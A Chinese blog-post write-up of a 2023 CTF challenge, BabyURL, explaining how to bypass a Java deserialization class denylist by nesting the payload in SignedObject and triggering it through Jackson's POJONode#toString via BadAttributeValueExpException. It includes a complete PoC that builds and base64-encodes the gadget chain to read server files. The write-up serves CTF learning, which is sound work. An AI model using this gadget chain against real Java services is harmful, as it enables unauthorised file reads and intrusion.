首页 > 其他分享 >二次反序列化

二次反序列化

时间:2023-07-30 23:14:57浏览次数:28  
标签:obj String 二次 new 序列化 com public

2023巅峰极客BabyURL

题目给了jar包,反编译以后项目结构:

在IndexController里有反序列化入口:

@GetMapping({"/hack"})
    @ResponseBody
    public String hack(@RequestParam String payload) {
	    //将传进的参数进行base64解码
        byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        try {
	        //对ObjectInputStream进行了重写
            ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
            //反序列化
            URLHelper o = (URLHelper) ois.readObject();
            System.out.println(o);
            System.out.println(o.url);
            return "ok!";
        } catch (Exception e) {
            e.printStackTrace();
            return e.toString();
        }
    }

进入MyObjectInputStream:

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        String[] denyClasses = {"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
        for (String denyClass : denyClasses) {
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }
        return super.resolveClass(desc);
    }

该类中对resolveClass方法进行了重写,对一些类进行了过滤。
无法直接进行反序列化,但是可以进行二次反序列化。

SignedObject二次反序列化

该类是java.security下的一个类,SignedObject包含了另一个Serializable对象。
其中的getObject()方法,包含了反序列化操作。

//Object类传入恶意的序列化对象
public SignedObject(Serializable object, PrivateKey signingKey,  
                    Signature signingEngine)  
    throws IOException, InvalidKeyException, SignatureException {  
        // creating a stream pipe-line, from a to b  
        ByteArrayOutputStream b = new ByteArrayOutputStream();  
        ObjectOutput a = new ObjectOutputStream(b);  
        // write and flush the object content to byte array  
        a.writeObject(object);  
        a.flush();  
        a.close();  
        //content是恶意对象的序列化字节数组
        this.content = b.toByteArray();  
        b.close();  
        // now sign the encapsulated object  
        this.sign(signingKey, signingEngine);  
}

//在getObject方法中对content进行反序列化,从而触发恶意代码执行
public Object getObject()  
    throws IOException, ClassNotFoundException  
{  
    // creating a stream pipe-line, from b to a  
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);  
    ObjectInput a = new ObjectInputStream(b);  
    Object obj = a.readObject();  
    b.close();  
    a.close();  
    return obj;  
}

接下来的问题是如何触发getObject方法。触发get方法的反序列化链有很多,写题时要根据特定的环境选择用合适的反序列化链。

POJONode#toString调用get方法

Jackson序列化触发get的流程:
ObjectMapper#writeValueAsString方法将对象序列化成一个json串

public static void main(String[] args) throws JsonProcessingException {  
    Person person = new Person("zhangsan");  
    ObjectMapper mapper = new ObjectMapper();  
    String str = mapper.writeValueAsString(person);  
    System.out.println(str);  
}

运行结果如下:

Person类的getName方法被执行。
调用栈如下:

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

关键类和方法:
DefaultSerializerProvider#serializeValue
findTypedValueSerializer从缓存中获取对应的序列化器,没有则创建,这里传入的是一个自己定义的普通类,因此返回的是一个BeanSerializer

BeanSerializer#serialize进行json串构造

调用writeStartObjectwriteEndObject方法分别写入左大括号和右大括号。serializeFields方法则是对类的字段进行解析。

调用对应属性的get方法,得到属性值。
那么POJONode#toString方法和get方法的调用有什么关系呢?Java里还有一个BadAttributeValueExpException类,该类的readObject方法可以调用指定类的toString。因此本题构造的反序列化链为:BadAttributeValueExpException#readObject->POJONode#toString->SignedObject#getObject

最终PoC

	public static String filepath="xxx/xxx/xxx";
	public static void main(String[] args) throws Exception {  
        URLHelper handler = new URLHelper("File:///");  
        // URLHelper handler = new URLHelper("File:///flag");  
        handler.visiter = new URLVisiter();  
  
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");  
        keyPairGenerator.initialize(1024);  
        KeyPair keyPair = keyPairGenerator.genKeyPair();  
        PrivateKey privateKey = keyPair.getPrivate();  
        Signature signingEngine = Signature.getInstance("DSA");  
        SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);  
  
        POJONode node = new POJONode(signedObject);  
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);  
  
        setFieldValue(val, "val", node);  
  
        ser(val);  
    }  
    public static void ser(Object obj) throws IOException {  
//        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));  
//        objectOutputStream.writeObject(obj);  
//        objectOutputStream.close();  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(obj);  
        oos.close();  
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));  
    }  
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{  
        Field dField = obj.getClass().getDeclaredField(field);  
        dField.setAccessible(true);  
        dField.set(obj, val);  
    }

在/hack路径下传生成的payload,再访问/file可以看到回显。

标签:obj,String,二次,new,序列化,com,public
From: https://www.cnblogs.com/Goo1/p/17592281.html

相关文章

  • Java反序列化Commons-Beanutils篇-CB链
    <1>环境介绍jdk:jdk8u65CB:commons-beanutils1.8.3pom.xml添加<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.8.3</version></dep......
  • Revit二次开发-获取族类型以及族参数值
      在族环境中获取当前族的所有族类型以及族类型对应的所有参数和参数值。直接上代码~publicoverrideResultExecute(ExternalCommandDatacommandData,refstringmessage,ElementSetelements){vardoc=commandData.Application.ActiveUIDocument......
  • log4j反序列化漏洞
    Vulhub-Docker-Composefileforvulnerabilityenvironment1、介绍名称:nginx解析漏洞编号:原理:应用:log4j版本:2、测试2.1靶场搭建2.2 ysoserial:JAVA反序列化POC生成工具(gitee.com)......
  • 【Java】使用fastjson进行序列化时出现空指针异常问题研究
    最近在使用fastjson的JSONObject.toJSONString()方法将bean对象转为字符串的时候报如下错误:com.alibaba.fastjson.JSONException:writejavaBeanerror,fastjsonversion1.2.58,classcom.sun.proxy.$Proxy395,fieldName:0 atcom.alibaba.fastjson.serializer.JavaBeanS......
  • WEB漏洞—反序列化之php&java(上)
    PHP反序列化原理:---未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。---其实跟文件解析差不多,都是由于传递的恶意参数被执行(序列化和反序列化相当于加解密过程)---在反序列化的过程中自动触发了某些魔术方......
  • 【无人机控制】基于线性二次型调节器LQR实现无人机飞行控制附matlab代码
    ✅作者简介:热爱科研的Matlab仿真开发者,修心和技术同步精进,matlab项目合作可私信。......
  • CDNDrive 第一个版本发布 & 布客新知第二次备份完成
    CDNDrive第一个版本发布,新适配五个图床https://github.com/apachecn/CDNDrive另外,布客新知第二次备份完成TutorialsPoint:http://it-ebooks.flygon.net/tutorialspoint-cdndrive/计算机电子书2019:http://it-ebooks.flygon.net/it-ebooks-2019-cdndrive/知识星球:http://it-ebooks.f......
  • Apache Shiro 反序列化漏洞(CVE-2016-4437)
    漏洞简介ApacheShiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。版本信息:ApacheShiro<=1.2.4漏洞名称:ApacheShiro1.2.4反序列化漏洞,即shiro-550反序列化漏洞。漏洞形成原理:1、检索RememberMecookie的......
  • 比JDK最高快170倍,蚂蚁开源一款序列化框架!
    点击“终码一生”,关注,置顶公众号每日技术干货,第一时间送达! Fury是一个基于JIT动态编译和零拷贝的多语言序列化框架,支持Java/Python/Golang/JavaScript/C++等语言,提供全自动的对象多语言/跨语言序列化能力,和相比JDK最高170倍的性能。GitHub地址为:https://github.com/al......
  • Revit二次开发之 Material 分析
    对于revit来说,任何Element都可以包含一个或者多个Material,其通过方法:publicICollection<ElementId>GetMaterialIds(boolreturnPaintMaterials)获取指定元素的材质集合,如果为true,则返回“绘制”工具指定给元素面的材质ID。如果为false,则返回通过材质的几何体或复合结......